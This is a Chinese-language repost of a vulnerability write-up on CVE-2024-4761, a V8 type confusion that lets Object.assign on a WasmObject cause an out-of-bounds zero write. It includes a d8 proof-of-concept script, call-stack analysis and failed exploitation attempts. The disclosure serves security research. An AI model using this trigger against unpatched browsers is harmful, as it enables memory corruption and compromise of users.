CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问

admin 2024年5月23日00:27:15评论31 views字数 6029阅读20分5秒阅读模式

作者:@buptsb@mistymntncop
2024-05-22 06:53:59

第 1 部分:https://x.com/buptsb/status/1790305894401753441
完整 PoC:https ://x.com/buptsb/status/1792197573694107877

这篇文章是该漏洞的首次公开披露。

信息

[N/A][339458194] 高CVE-2024-4761:V8 中写入越界。匿名者于 2024 年 5 月 9 日报告
https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_13.html
Google 已意识到存在CVE -2024-4761漏洞。

https://chromium-review.googlesource.com/c/v8/v8/+/5527397

概念证明

https://gist.github.com/mistymntncop/2cb449eb6aa30d35d1afd78a8b06bac2

// Build d8 using:// a) Run once//    git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71//    gclient sync//    gn gen ./out/x64.debug//    gn gen ./out/x64.release//// b) //    Debug Build://    ninja -C ./out/x64.debug d8////    Release Build://    ninja -C ./out/x64.release d8//

function gc_minor() { //scavenge    for(let i = 0; i < 1000; i++) {        new ArrayBuffer(0x10000);    }}

function gc_major() { //mark-sweep    new ArrayBuffer(0x7FE00000);}

d8.file.execute("wasm-module-builder.js");

let builder = new WasmModuleBuilder();

let array_type = builder.addArray(kWasmI32, true);builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)]))    .addBody([        kExprLocalGet, 0,        kGCPrefix, kExprArrayNewDefault, array_type,    ]).exportFunc();

let wasm_instance = builder.instantiate({});let wasm = wasm_instance.exports;

const kDescriptorIndexBitCount = 10;const kMaxNumberOfDescriptors = (1 << kDescriptorIndexBitCount) - 4; //1020

//TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)//    args.ForEach(//        [=](TNode<Object> next_source) {//          CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);//        },//        IntPtrConstant(1));//TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler)//  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);//RUNTIME_FUNCTION(Runtime_SetDataProperties)//  JSReceiver::SetOrCopyDataProperties(...)function install_primitives() {    let src = {};    for(let i = 0; i < (kMaxNumberOfDescriptors+1); i++) {        src[`p${i}`] = 1;    }    //stops us from crashing in SetOrCopyDataProperties    src.__defineGetter__("p0", function() {        throw new Error("bailout");    });    //need to create the map beforehand to avoid descriptor arrays being allocated     //innapropriately    let dummy = {};    dummy.i1 = 0;    dummy.i2 = 0;    dummy.i3 = 0;    dummy.i4 = 0;    for(let i = 1; i <= 16; i++) {        dummy[`p${i}`] = 0;    }

    var o = {};    //inline properties    o.i1 = 0;    o.i2 = 0;    o.i3 = 0;    o.i4 = 0;

    //external properties    o.p1 = 0; //fake SeqTwoByteString length field    for(let i = 2; i <= 15; i++) {        o[`p${i}`] = 0;    }    let wasm_array = wasm.create_array(0);    o.p16 = 0; //reallocates new property array twice as large        var arr1 = [1.1];//, 1.1, 1.1, 1.1];    var arr2 = [{}];

    %DebugPrint(wasm_array);    %DebugPrint(o);

    try {        //trigger 1 element OOB zero write        Object.assign(wasm_array, src);    } catch(err) {}        gc_major();    %DebugPrint(wasm_array);    o.p9 = 1024;    o.p11 = 1024;    //%DebugPrint(o); //will crash        %DebugPrint(arr1);}function pwn() {    install_primitives();}

pwn();

分析

第 1 部分:类型混淆

Object.assign()调用WasmObject时,在调用 Handle::cast(target) 之前JSReceiver::SetOrCopyDataProperties()缺少类型检查,这会导致 WasmObject 和 JSObject 的类型混淆。
IsJSObject(*target)

由于 WasmObject 只是 a JSReceiver,而不是 a ,因此我们在调用目标 WasmObjectJSObject期间可能会出现不一致。JSObject::NormalizeProperties

调用堆栈:

JSReceiver::SetOrCopyDataProperties  JSObject::NormalizeProperties(target, CLEAR_INOBJECT_PROPERTIES)  Runtime::SetObjectProperty(target, key, value)

JSObject::NormalizeProperties  new_map = Map::Normalize(map)  JSObject::MigrateToMap(target, new_map, expected_additional_properties)

Map::Normalize  Map::CopyNormalized()    new_instance_size = map->instance_size()    if (mode == CLEAR_INOBJECT_PROPERTIES) {      new_instance_size -= map->GetInObjectProperties() * kTaggedSize;    }    result = RawCopy(map, new_instance_size, 0)      Factory::NewMap(), Factory::NewMapImpl()        Factory::InitializeMap()          if (InstanceTypeChecker::IsJSObject(type)) {            ...          } else {            map->set_inobject_properties_start_or_constructor_function_index(0) <------- (1)          }

JSObject::MigrateToMap  MigrateFastToSlow()    <create dictionary...>    object->SetProperties(*dictionary)

    // clear up in-object properties    inobject_properties = new_map->GetInObjectProperties()    for (int i = 0; i < inobject_properties; i++) {      object->FastPropertyAtPut(FieldIndex::ForPropertyIndex(*new_map, i), Smi::zero()); <------- (2)    }

FieldIndex::ForPropertyIndex  bool is_inobject = property_index < map->GetInObjectProperties()  if (is_inobject) offset = map->GetInObjectPropertyOffset(property_index) <------- (3)  return FieldIndex(...)

在 (1) new_map 的“对象内属性”起始偏移量设置为零,对于非 jsobject,因为我们
在 (3) 中有一个 WasmObject,则 FieldIndex 的偏移量将从 0 开始,
在 (2) 中覆盖整个 WasmObject [ map addr, map addr + N]带有零值,N 由我们控制

Part2:控制oob写入长度

WasmStruct::EncodeInstanceSizeInMap并将WasmArray::EncodeElementSizeInMap使用映射中的字段供 GC 使用。对于 WasmStruct,它在其映射
对其 GCsize 进行编码byte1byte2

CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问

现在参考地图布局图:

[byte0]:实例大小
byte1:inobject_properties_start_or_constructor_function_index()
byte2:used_or_unused_instance_size_in_words()

CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问

对于 WasmStruct:

Map::instance_size()  return 0

Map::GetInObjectProperties()    return instance_size_in_words() - GetInObjectPropertiesStartInWords();

Map:GetInObjectPropertiesStartInWords()  return inobject_properties_start_or_constructor_function_index()

Map::GetInObjectPropertyOffset(int index)  return (GetInObjectPropertiesStartInWords() + index) * kTaggedSize;

然后我们可以通过设置 WasmStruct 的大小来控制在内存中写入多少个零。

失败的尝试

现在我们有一种 OOB 写入任何零的弱原语,但是如何利用这个原语进行任何 OOB 读/写呢?

尝试 1:尝试在 JSArray 上调用 left trim

Tagged<FixedArrayBase> Heap::LeftTrimFixedArray(Tagged<FixedArrayBase> object,                                                int elements_to_trim) {  ...

  const int element_size = IsFixedArray(object) ? kTaggedSize : kDoubleSize;     const int bytes_to_trim = elements_to_trim * element_size;   <------ IsFixedArray(object) return false, bytes_to_trim = 8

  const int len = object->length();            <--------- len is 0  DCHECK(elements_to_trim <= len);    Address old_start = object.address();  Address new_start = old_start + bytes_to_trim;

  CreateFillerObjectAtRaw();   <--- create 8 bytes filler at old_start

  ...

  RELAXED_WRITE_FIELD(object, bytes_to_trim,                      Tagged<Object>(MapWord::FromMap(map).ptr()));  RELAXED_WRITE_FIELD(object, bytes_to_trim + kTaggedSize,                      Smi::FromInt(len - elements_to_trim));     <---------- overflow???

}

然后从 fixedarray 创建 jsarray?
但是 fixedarray 的长度现在溢出了,而且是负值……

CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问

与CVE-2024-4947相同的 GC 技术

与CVE-2024-4947中的技术相同,我们可以使用 addr 中的伪造 Map 对象来破坏对象的 PropertyArray 大小cage base+0

CVE-2024-4761: v8 missing check of WasmObject type cast causes type confusion and OOB accesshttps://buptsb.github.io/blog/post/CVE-2024-4761-%20v8%20missing%20check%20of%20WasmObject%20type%20cast%20causes%20type%20confusion%20and%20OOB%20access.html

原文始发于微信公众号(Ots安全):CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月23日00:27:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问https://cn-sec.com/archives/2765984.html

发表评论

匿名网友 填写信息